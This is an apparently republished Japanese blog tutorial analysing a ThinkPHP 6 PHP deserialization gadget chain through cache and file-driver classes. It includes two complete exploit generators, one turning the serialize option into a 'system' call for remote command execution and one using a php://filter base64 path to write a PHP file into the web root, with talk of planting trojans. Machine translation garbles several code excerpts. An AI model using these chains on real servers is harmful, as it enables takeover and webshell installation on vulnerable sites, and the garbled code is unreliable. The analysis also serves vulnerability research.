ホームページ  >  記事  >  PHPフレームワーク  >  thinkphp6 に関する別の逆シリアル化分析

thinkphp6 に関する別の逆シリアル化分析

藏色散人
藏色散人転載
2021-03-16 17:28:002130ブラウズ

次のチュートリアル コラムでは、thinkphp6 の逆シリアル化分析について紹介します。困っている友人の役に立てば幸いです。

thinkphp6 の別の逆シリアル化分析thinkphp6 に関する別の逆シリアル化分析

チェーン前の tp6 の分析。前回は、前後の 2 つのチェーン間のリンクを実現するために、__toString メソッドを転送に使用しました。今回は他の 2 つのチェーンです。制御可能なクラスの固定メソッドを転送に使用しました。解析を開始します。

まず、composer でワンクリックで環境を構築し、php think run を実行することができます;

この記事では、知識ポイント「ThinkPHP5 のリモート コマンド実行の脆弱性 (スルー)」に関する実践的な演習を行います。この実験では、ThinkPHP5 のリモート コマンド実行の脆弱性について学ぶことができます。その理由と悪用方法、および脆弱性の修正方法を学びます。)

text

最初のアイデアは、デストラクターを使用することです。最初のトリガー; 次に、ステップバイステップの導出を実行するためにマジック関数を最後までトレースします ; まず、AbstractCache クラスの下でマジック関数を見つけます;

protected $autosave = true; public function __destruct( ){ if (! $this->autosave) { $this->save() ; }}

コードは上記のとおりです。自動保存が制御できることがわかります。ここでは手動で false にコピーできます; したがって、save メソッドをトリガーできます; save メソッドをバックトラックします; save メソッドが CacheStore で見つかりました; 具体的なコードは次のとおりです;

public function save(){ $contents = $this->getForStorage(); $this->store->set( $this->key, $contents, $this->expire);}

getForStorage メソッドを呼び出して、それを $contents 変数に割り当てていることがわかります。ここでこのメソッドに従ってください;

public function getForStorage() { $cleaned = $this->cleanContents($this->cache); return json_encode([$cleaned, $this->gt ; complete]);}

cleanContents メソッドが最初に呼び出され、次に json_encode メソッドが呼び出されたことがわかりました。ここでは、最初に cleanContents メソッドをトレースバックします。

public function cleanContents(array $contents) { $cachedProperties = array_flip([ 'path', 'dirname', 'basename', 'extension', 'filename', 'size', 'mimetype', 'visibility', 'timestamp' , 'type', 'md5',]); FOREACH ($ Contents As $ PATH = & GT; $ Object) {if (IS_ARAY ($ Object)) {$ CONTENTS [$ PATH] = Array_intersect_Key ($ Object, $ CAC hedproperties);}} Return $contents;}

まず、ここで array_flip メソッドを見ました。このメソッドは、配列のキー名とキー値を置き換えるもので、その後、配列が割り当てられます。 $cachedProperties 変数に追加し、渡したパラメータは $ に従って置き換えられます。パスと $object の形式は各トラバーサルの実行に使用されます。その後、キー名が is_array メソッドによって判断されます。それが true の場合、後続の関数が処理が実行されます; それ以外の場合は $content 配列が直接返されます; この一連の操作の後、save 関数で最終的な戻りが行われます; その後 $this->store->set($this->key, $ に進みます) content, $this->expire); ここでは、store も制御可能であることがわかります; 次に、アイデアとして 2 つあります。1 つ目は、set メソッドでクラスをインスタンス化するか、__call メソッドでクラスをインスタンス化することです。したがって、存在しないメソッドにアクセスすることで call マジック メソッドを呼び出すことができます。ここでは、まず __call メソッドを持つクラスを見つけます。set メソッドのクラス。File クラスにあります: <p><code>public function set($name, $value, $expire = null): bool{ $this->writeTimes; if (is_null($expire)) { $expire = $this->options[ 'expire']; } $expire = $this->getExpireTime($expire); $filename = $this->getCacheKey($name); $dir = dirname($filename); if (!is_dir($dir) )) { try t ;options['data_compress'] && function_exists('gzcompress')) { //データ圧縮 $data = gzcompress($data, 3); } $data = "<?php \n//" . sprintf(' 2d', $expire) . "\n exit();?>\n" . $data; $result = file_put_contents($filename, $data); if ($result) { clearstatcache(); true を返す; } false を返す;}

ここでは、後ろでシリアライズ メソッドを使用できます。直接トレースします。

保護された関数 Serialize($data): 文字列{ if (is_numeric( $data)) { return (string) $data; } $serialize = $this->options['serialize'][0] ?? "シリアル化"; return $serialize($data);}

ここで、options パラメータが制御可能であることがわかります。ここに問題があります。それを system に割り当てると、その後の戻り値はコマンド実行関数になります。内部のデータを渡すことができます。 , その後、RCE を実装できます;

ここに私が書いた経験値があります;

<?php #bash echo; Web ページはエコーしません; 名前空間 League\Flysystem\Cached \Storage{抽象クラス AbstractCache{ protected $autosave = false; protected $complete = []; protected $cache = ['id']; }}名前空間 think\filesystem{League\Flysystem\Cached\ を使用Storage\AbstractCache;class CacheStore extends AbstractCache{ protected $store; protected $key; public function __construct($store,$key,$expire) { $this->key = $key; $this->store = $store ; $this-&gt ;expire = $expire; }}}名前空間 think\cache{抽象クラス Driver{}}名前空間 think\cache\driver{think\cache\Driver を使用;class File extends Driver{ protected $options = [ '期限切れ' => 0, 'cache_subdir' => false, 'prefix' => false, 'path' => 's1mple', 'hash_type' => 'md5', 'serialize' => [' system'], ];}}namespace{$b = new think\cache\driver\File();$a = new think\filesystem\CacheStore($b,'s1mple','1111');echo urlencode(serialize ($a) );}

最終結果は system(xxxx); テストしたところ、エコーは発生しませんでした。後でコードをデバッグしたところ、コードに問題があることがわかりました。その後、linux や Unix のバックティックもコマンドとして実行でき、それらを先に実行できることを思いつき、コードを変更してバックティックを埋め込み、コマンドをより適切に実行できるようにしましたが、欠点は次のとおりです。実行はできるが応答がないことは明らかですが、それでも悪意のある操作を実行する可能性はあります。

thinkphp6 に関する別の逆シリアル化分析

この連鎖を通じて、いくつかの手がかりが見つかると思います。 rce に加えて、このチェーンには他の最終的な用途があります。file_put_contents も使用できます。

一部のマスターが以下で使用されるセクシーなジェスチャーを理解できない場合は、このリンクを確認してください。https ://s1mple-top.github.io/2020/11 /18/file-put-content と死と混合コードの関係/

これについては以下で説明しましょう; 利用チェーンは前と同じです; 最後にファイル名とデータの内容を制御する必要があります; 次の図がわかります;

thinkphp6 に関する別の逆シリアル化分析

最後にデータの結合があります。当初は書式設定に導入しようと思っていましたが、書式設定はハードコーディングされています。不正な文字を使用して書式設定を汚したり、危険なコードを導入したりすることはできません。そのため、最後にのみ追加できます。データが書き込まれ、結合されます。次に、データを制御します。実際、ここでのデータは、serialize メソッドを呼び出します。振り返ってみると、serialize のキー値を見つけるのは難しくありません。配列内のオプションが取り出され、データの前に配置されます。実際、本質的には大したことではありません。しかし、ここに小さな落とし穴があります。$serialize($data); であるため、ここでの組み合わせは次のとおりです。勝手に関数を渡すとadsf($data)のようなことが起こります; 変則的な関数だとエラーが発生して先に進めなくなります;

これを理解した上で、実はちょっとした問題が発生します。落とし穴; 実際には、オプションの内容を制御でき、その後、serialize のキー値を制御できます。パスイン; ただし、json_encode が前に実行されたため、一般関数の最終形式を Base64 で復号化することはできません; ただし、例外がありますここで、serialize 関数をテストしたところ、シリアル化後、base64 復号化を通常どおり実行できることがわかりました。おそらく、文字列に形成できるためです。これが私の式です。

<?phpnamespace League \Flysystem\Cached\Storage{抽象クラス AbstractCache{ protected $autosave = false; protected $complete = []; protected $cache = ['PD9waHAgcGhwaW5mbygpOz8 ']; }}名前空間 think\filesystem{League\Flysystem\Cached\Storage\ を使用AbstractCache; class CacheStore extends AbstractCache{ protected $store; protected $key; public function __construct($store,$key,$expire) { $this->key = $key; $this->store = $store; $ this->expire = $expire; }}}名前空間 think\cache{抽象クラス ドライバー {}}名前空間 think\cache\driver{think\cache\Driver を使用;クラス ファイルは Driver{ protected $options = [ 'expire' => 0, 'cache_subdir' => false, 'prefix' => false , 'path' => 'php://filter/convert.base64-decode/resource=s1mple/../', ' hash_type' => 'md5', 'serialize' => ['serialize'] , 'data_compress' => false ];}}名前空間{$b = new think\cache\driver\File();$a = new think\filesystem\CacheStore($b,'s1mple','2333'); echo urlencode(serialize($a));}

さらに、多くのマスターは、書き込み可能なディレクトリの問題です。ここでは、仮想ディレクトリの方法を使用して、パブリック ディレクトリの下に配置しました。; これは、パス パラメータに反映できます。

thinkphp6 に関する別の逆シリアル化分析

##最後のアクセス結果は、 phpinfo を実行; もちろん、トロイの木馬の悪用を引き起こす system; などのコマンド実行関数を記述することもできます。

以上がthinkphp6 に関する別の逆シリアル化分析の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

声明:
この記事はsegmentfault.comで複製されています。侵害がある場合は、admin@php.cn までご連絡ください。